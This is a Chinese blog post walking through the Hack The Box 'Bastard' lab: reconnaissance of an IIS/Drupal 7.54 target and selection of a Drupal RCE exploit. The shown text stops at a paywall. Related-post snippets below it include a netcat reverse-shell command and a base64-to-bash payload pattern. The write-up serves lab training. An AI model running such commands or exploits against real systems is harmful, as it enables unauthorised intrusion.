【HTB靶场系列】Bastard

最新推荐文章于 2024-05-28 21:06:10 发布
最新推荐文章于 2024-05-28 21:06:10 发布
阅读量277 收藏
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/shuteer_xu/article/details/131989979
版权
本文详细记录了对一个名为Bastard的Hack The Box靶机的渗透过程，主要涉及Drupal的多个漏洞利用，包括Drupal 7.x Module Services RCE、Drupalgeddon2和Drupalgeddon3。通过扫描端口、分析robots.txt，发现并利用了Drupal的版本漏洞，最终获取了靶机的webshell和管理员权限，并进行了提权操作，包括内核提权和MySQL UDF提权。
摘要由CSDN通过智能技术生成

点击星标，即时接收最新推文

74bb6165bb5f028d011a0f3463122608.png

#01

实验信息

靶机：10.10.10.9

Kali：10.10.16.2

#02

实验过程

a0fa2d7638be79db2fa68408ebf6d9c8.png

24a3c5fc2bb8d80167ee192df94544a3.png

靶机打开的端口很少，接下来扫描端口的详细信息

6a183ade9038dae272ce39d2908d85dd.png

44239f619b20a9028377a5bed16f2e53.png

根据信息可以得出靶机是IIS搭建的，网站有robots.txt里面有很多可用信息

接下来 再对靶机进行 常用漏洞脚本扫描 以及 常见UDP端口扫描，没有什么出现其他的可用信息

fb6c9bd11314b73c0081e2f28e8e5fc9.png

f6f04ab8772e9dc2db4709a3afcd136d.png

那么这里的突破口就主要就是80端口

通过刚刚nmap的扫描结果得出靶机用的是IIS7.5

495052ce32e3bcb1e2a3b9af045a6623.png

9153d6ec9c064d959b732f8e0037b398.png

通过IIS7.5的wiki可以大致得出靶机的系统为win7或为Windows Server 2008 R2，也进一步验证了nmap的扫描结果

查询尝试drupal的是否存在默认账号密码，发现失败

1dae495d3f97197989bae858bd456514.png

278a49332be90ba1f1eb82d30116191a.png

刚刚在nmap的结果中发现robots.txt内容，接下来就根据robots.txt里面的内容进行展开

be1ca4f3578925e1ea8979d4e47e1798.png

http://10.10.10.9/CHANGELOG.txt

http://10.10.10.9/xmlrpc.php

通过CHANGELOG.txt可得出当前的drupal版本是7.54

aa6ed252217fdeb669d60a6410437b3b.png

通过searchspolit来查找是否有现成的可利用EXP

1e85935aa8bf37655cd6e30200b2ed02.png

根据刚刚得知drupal的版本是7.54来挑选合适的EXP进行使用

首先尝试“Drupal 7.x Module Services - Remote Code Execution”

aba88c250c9f3fc1add9fbe9429c4da8.png

70a76704c21e62dd199952a13d0ead51.png

编辑41564.php，这里修改了url,file变量,但是endpoint_path和endpoint还需要查询下如何修改

7c3deff40f9d52c6ba332328fac30336.png

通过访问EXP作者里面的博客（https://www.ambionics.io/blog/drupal-services-module-rce），可知restful API接口

c82394a03ac5908504eb5aab64ab4ccf.png

那么接下来就需要来查找drupal的API接口地址

因为不同的扫描器的扫描机制、算法是不同的，这里尝试使用多个扫描器来查找API接口地址

41cfe2ea3b0003423d048d7f5d250b4c.png

e622be7d4f8e133689c3e4a99127adc4.png

再安装个feroxbuster，这个工具扫描速度更快

字典采用专门用来发现API的字典 https://gitee.com/AnranRemo/SecLists.git

8e7c9d80aa342202706c00e484ec13a6.png

7b58c2500344e5b24e772a5b04f72ef6.png

6c6675e19f0e0b7c7b6a0ff0d70a31bc.png

078b884c455d2f2baa35651a0c4ef18e.png

最低0.47元/天 解锁文章
Ms08067安全实验室
关注
HTB靶场系列 Windows靶机 Optimum靶机
m0_57221101的博客
01-28 2570
勘探 依然是nmap扫描 nmap 10.10.10.8 Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-13 21:58 EST Nmap scan report for 10.10.10.8 Host is up (0.031s latency). Not shown: 65534 filtered ports PORT STATE SERVICE 80/tcp open http Nmap done: 1 IP address (1
HTB靶场系列 Windows靶机 Arctic靶机
m0_57221101的博客
01-30 2710
这台靶机设定的30秒响应速度真的让人绝望。正儿八经的每做一个动作就可以玩半天手机 勘探 nmap nmap -sS -p 1-65535 10.10.10.11 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-03 15:31 CST Nmap scan report for 10.10.10.11 Host is up (0.28s latency). Not shown: 65532 filtered ports PORT
HTB-Bastard
TA不懒，但还没有添加简介
04-07 581
HTB-Bastard
oscp——HTB——Bastard
王嘟嘟的博客
05-20 559
0x00 前言 难度 入门1级 0x01 信息收集 0x02 Web——Webshell 这里访问之后看到是一个Drupal的站，Drupal的站在7.0可以直接直接getshell 使用脚本直接getshell 0x03 Webshell——Rootshell 传一个nc 上去然后反弹一个shell nc.exe -e cmd 10.10.14.6 1234 这里可以使用Sherlock先进行扫描。 powershell.exe -exec bypass -Command "& {Imp
HTB系列之七：Bastard
Ms08067安全实验室
12-13 614
这次挑战的是 HTB 的第7台靶机：Bastard技能收获：PHP UnserilaizeCMS Version IdentifyWindows privilege escalation...
HTB-oscplike-Bastard+Granny
m0_53302733的博客
04-05 1136
HTB-oscplike-Bastard+Granny Bastard medium难度的bastard 靶机IP 10.10.10.9 sudo nmap -sC -sV -A -p- --min-rate=5000 -Pn 10.10.10.9 80/tcp open http Microsoft IIS httpd 7.5 135/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Win
HTB靶场 Perfection
m0_62438849的博客
04-25 912
其余恶意代码=echo+[payload]|+base64+-d+|+bash (+表示空格）总的 category1=%25>;写一段反弹shell代码#!经过base64编码。
HTB靶场系列 Windows靶机 Legacy靶机
m0_57221101的博客
01-27 2005
勘探 常规nmap扫描 root@kali# nmap 10.10.10.4 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-18 20:30 EST Nmap scan report for 10.10.10.4 Host is up (0.018s latency). Not shown: 65532 filtered ports
HTB靶场 Shared
weixin_45682839的博客
08-22 2205
HTB靶场shared靶机通关攻略记录，涉及知识点包括：端口服务扫描、sql注入（cookie）、linux提权（ipython越权漏洞、redis逃逸漏洞）
HTB靶场1 Usage
m0_62438849的博客
04-18 1267
可以参考这个。
Hack The Box真实靶机环境搭建教程
大河之犬的博客
05-23 2207
应该是连接VPN走的端口，既然我们是在中国，还是选择UDP这种无连接的协议比较好。然后就可以下载VPN配置文件了。接下来，这里有欧洲和美国两个地区，每个地区只有一个服务节点，选择自己的VPN对应的节点。
【日常】Hack the Box Meow靶机
weixin_73419543的博客
07-04 393
如有错误，欢迎指正Hack the Box 靶场首先需要OpenVPN链接，在这里我们使用Kali Linux自带的OpenVPN进行连接打开终端sudo openvpn 文件名.ovpn连接较慢，需要等一会。
hack the box archetype靶场
最新发布
qq_42754807的博客
05-28 929
hack the box archetype
Hack the box -- 靶机渗透测试（TIER2）
wjishuxiaobai的博客
06-25 1784
本文针对Hack the box 靶机TIER2渗透过程进行记录。开启在线靶机，靶机IP为10.129.88.20。端口扫描 扫描命令 sudo nmap -sC -sV 10.129.88.20， 发现1443端口开启了smb服务，所以尝试使用smbclient连接。smbclient连接 命令为：smbclient -N -L 10.129.88.20（-N表示无密码登录，-L可以查看服务器上可用服务） 通过查找发现在backups目录下存在一个配置文件prod.dtsConfig,将其下载本地进
hack the box optimum靶机
zr1213159840的博客
04-21 2209
首先打开靶场，直接nmap开扫。 nmap -sV -Pn -A 10.10.10.8 通过扫描结果知道开启了80端口，80端口跑了HFS服务。顺势去msf搜索一下HFS有哪些漏洞 search hfs 使用下面的hfs的命令执行，然后看下要配置哪些东西 use 1 options 需要配置好远程主机，本地主机，配置好，run。多run几次，前面几次容易失败，而且要等挺久的。 set RHOSTS 10.10.10.8 set LHOSTS 10.10.14.17 run 利用成功后，返回me
hack the box：Traverxec靶机
zr1213159840的博客
05-01 1345
首先打开靶机，能看到一些提示 先进行扫描看看 nmap -sV -Pn -A 10.10.10.165 通过扫描结果，能看出来开了80端口，还开了22端口。我们访问下80端口，能发现是一个网站，什么davide什么的。 信息不够，我们使用whatweb看下网站的具体信息 whatweb -v 10.10.10.165 有个比较明显的蓝色的标志，nostromo，其实nmap扫描也有，我们进msf搜下，看有没有什么可以利用的。真的有可利用的，启动，利用起来 search nostromo use
hack the box靶场responder靶机
zr1213159840的博客
04-12 3827
打开靶机，看第一个问题： 问：机器上跑了几个tcp端口？ 回答：3个，才开始使用默认扫描方式只扫出来一个80，后来指定了端口返回，扫出来三个端口，分别是80、5985、7680，使用如下命令扫描 nmap -v -A -p1-65535 10.129.212.141 第二个问题： 问：当使用IP进行访问时，被重定向去了哪里？ 回答：unika.htb 第三个问题： 问：网页是使用哪种脚本语言写的？ 回答：php。 首先在burpsuite中进行抓包，然后对回包进行截取 然后能看到网页是用php
Hack-The-Box靶机---search
Karka_的博客
08-16 77
其中的80，88，135，445，3268是重点要渗透的端口。
HackTheBox之Overflow靶机
Karka_的博客
08-16 447
这是一台困难靶机，靶机内容主要考察了web漏洞利用，逆向，权限维持，提权等各个方面的内容，这个靶机非常适合入门逆向，并且对提升渗透思维帮助很大，我从中也获益良多。
ROS双线HTB流控配置手册：保障游戏体验
"ROS双线HTB操作手册" ROS双线HTB（Hierarchical Token Bucket，层次化令牌桶）是一种高级的流量整形技术，用于在RouterOS操作系统中实现精细化的网络带宽管理。此手册主要针对如何在双线环境中，如电信和联通线路...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值